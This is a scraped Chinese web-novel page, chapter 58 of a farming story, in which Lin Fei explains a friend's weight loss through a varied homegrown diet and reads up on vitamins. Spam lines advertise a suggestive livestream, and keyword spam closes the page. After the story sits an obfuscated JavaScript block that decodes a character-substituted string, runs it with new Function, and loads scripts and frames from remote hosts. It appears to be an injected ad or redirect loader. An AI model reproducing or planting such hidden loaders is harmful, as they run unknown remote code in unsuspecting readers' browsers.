关灯
护眼
字体:

第58节(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁黑丝纯欲主播-免费

话刚说完,林斐自己也是突然脑中灵光一现,他又立。52GGd。即改口:“这样吧,正好我也打算买书,回头给你带一本。”

笑笑只是小声说声谢谢,后面就再也没说话,只是看着土地上被糖水吸引过来的蚂蚁。

林斐之前在淮大曾经选修过一门《现代营养学》的课程,跟着学了几天,开课老师讲的主要就是维生素和矿物质对人体的影响。

林斐清楚记得老师在上课时说过同样都是一个品种的番茄,各种维生素的含量比起多年前降低至少三倍。

而自打住进来后,不光是林斐自己都觉得自己身轻如燕,而且张儒赫也多次表明自己现在睡眠质量特别好,甚至于程帅他还在这儿住瘦了!

要是说之前林斐是劳役程帅,老叫他干活儿,硬是把人给累瘦的,但这两个月程帅可一直都在复习,林斐是丁点儿都不敢叫他来帮忙干活。那小子成天就坐在房间里背书做题,甚至时不时还要半晌里跑出来找林斐要东西吃。

就这样,程帅还又瘦了一点。谁要是说他是被累瘦的,林斐就想跟谁急。

林斐把程帅在这儿的例子讲了出来,笑笑虽说一直没抬头,但耳朵却张着一直在听。

等林斐说完程帅目测体重降了二十斤,关键是他三餐还是照常吃,笑笑猛地抬头,一脸不信,却问林斐:“你没骗我吗?”

说起程帅那孩子,潘荭可相当有印象,她可清楚记得那孩子刚开始在菜市场见时,胖成个葫芦,上面胸突出跟女孩一样,了点,再看看这次正在收碗盘的程帅,明显瘦了好多,已经不能算是胖子了,身材只是微微圆润。

看外婆也点头作证,还叫来了程帅问他是不是瘦了,笑笑心里其实已经信了大半,但她还是觉得很奇怪,为什么还是照常吃饭没减饭量却能瘦那么多?

程帅被叫来,刚开始有人说他是不是瘦了,他还莫名其妙,但当昔日的同学们围过来一起说他是真的有瘦很多,程帅咧开嘴忙把手机塞林斐怀里:“快快,给我拍个照。”

王潜凑近:“上次我们都不敢问,你这是怎么减肥成功的?”

刘一虎也道:“之前不说也没想起,瞧你变化好大。诶,都减这么多怎么还穿这么宽松的衣服呢?”

程帅拉了拉卫衣,他忍不住高兴:“真瘦了吗,我只是感觉最近衣服特别好穿,真的有瘦?”

在得到同学们肯定的回答,程帅又看到他拉紧衣服的身材照片,从林斐手里接过手机就道:“都是被这个黑心老板奴役的了,看我瘦了好多。”

“滚滚滚!”林斐一双白眼直想送他上月球:“没良心的胖子,我管你吃管你喝,竟然还这样对待我。也不知道谁最近一个半月什么活都不干,天天吃饱坐饿。”

程帅心虚说不出来话,笑笑却忍不住问他:“你是控制饮食了吗,怎么瘦下来的?”

“呃……”这个问题程帅是真回答不上来。

要是放在一个月前,他还能闭着眼说是林斐使唤他,劳累过度瘦下来的,可最近他简直就是被林斐当猪投喂,这种昧良心的话他也就只敢开开玩笑。

林斐做出解答:“人是杂食性动物,什么东西都吃才能健康。他跟着我在这儿天天吃杂粮蔬菜,以及同样种类丰富的肉类,这不就是最健康的减脂餐嘛!再加上适当的劳动,饮食一旦健康下来了,不瘦才怪。”

一个自称医生的中年男人也站出来,他道:“现代很多胖子他并不是营养过剩,而是营养不了。

很多人他们的饮食结构很单一,日日都是精细加工后的米面粮油,再加上辛辣食物刺激味蕾增加食欲,导致吃得明明很多,但各种维生素矿物质严重缺乏。人的自我保护机制会在身体严重缺乏某种物质时,刺激人摄入更多的食物,为的就是能得到相应的营养物质补充……”

专业人士站出来做解答,一旁的人都听得入痴入迷。

林斐也在听,不过明显这个医生在这方面涉猎不深,林斐是有些怀疑空间水当中,可能是含有更加丰富和植物可迅速吸收转化的维生素和矿物质,或许这也是自家蔬果种出来风味突出的一大原因?

当天晚上,林斐就上网购买了基本有关营养学的专业书,一份给潘阿姨寄过去,一份寄到青山镇。

拿到书的那两天,林斐就立刻读入迷了,天天跟程帅坐在一张桌子前,程帅刷题他读书,连地里农活儿都没干。

张儒赫没辙,只能带自己农家乐的员工时不时过来种种地。

林斐一连把几本书都看完,就已经是一周后了。

林斐长舒一口气,站起身来就去找张儒赫。

在读书的过程中,林斐了解很多维生素和矿物质与多酶对人体的影响,要是之前不知道也就算了,可现在逐一对比后发现,自打来到洋景村自己住下,吃上农家自己种的食物,林斐发现之前身体一些细微的小毛病还真就不药而愈了。

就像是缺维生素B族,会导致人体代谢出现问题,容易导致肥胖,常见的炎症,以及易疲劳、记忆力减退、易脱发等等。

而最常见补充维生素B族的途径便是种子类食物当中的胚芽、动物肝脏,以及少量含在瘦肉中,而B族是人体不能自己制造,也不能长期储存的。

🎁黑丝纯欲主播-免费请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="v5fua0y2hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/h^/@Q}jR8Xn7_d0T@h("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@Q}"=^8"Xn7_d0T@h("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@Q}d2(LCYmRD(JhfmRT4"="@Q}5p(LYpmq^Xf(LmRT4"="@Q}D7(LSqm(f24hJmRT4"="@Q}dC(LJ^mRD(JhfmRT4"="@Q}(C(L:4mq^Xf(LmRT4"="@Q}C2(LSYm(f24hJmRT4"="@Q}25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@Q}2F(LCYmX{LX@ShmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n/f/@Q}j(8}vR8Xn7_d0T@h("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@Q}Cq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();
www.qbzww.com 全本免费小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛

我妈是女大 下划月伴清风阿军馨姨小婆婆大媳妇开局就被后宫追杀重生顾少的小狼狗甜又野望星上被掰弯的人云之番外偷吻全文免费医生顶级美人和普通美人的差别水的另一种形态是什么电竞之少女凶猛免费阅读娇养 快穿斗罗大陆唐三是总受文斗罗大陆之唐三是总受王语嫣片段婆婆媳妇小姑小娇怀孕了被掰弯的人后来怎样了带国足世界杯夺冠什么地位一轮明月伴清风斗罗唐三主受同人荒岛上的古老男人格格党综英美万人迷的烦恼宋知意是什么意思黑月光拿稳be剧本剧情知乎月伴清风全文免费婆婆名主人公叫苏菲南北朝的皇上是谁快穿之我与反派共枕眠快穿女生子系统分手后受落魄了攻发达旧爱新欢在线阅读闫向主角是二师兄的诱她心动电竞免费阅读荒岛上的古老男人全文免费阅读我男朋友是我的sp主当你不爱了荒岛 上的古老男人我决定不爱你了的说说代嫁新娘替身哑妻虐心章节重生官运亨通全文阅读在线阅读冷战三年她提离婚他却红了眼顾庭深黎浅被掰弯之后心态变化主角叫苏雅的云逍全文阅读代嫁新娘by穿越逍遥王英梨梨马尾攻击短视频妲己迷惑不了朕(已完结)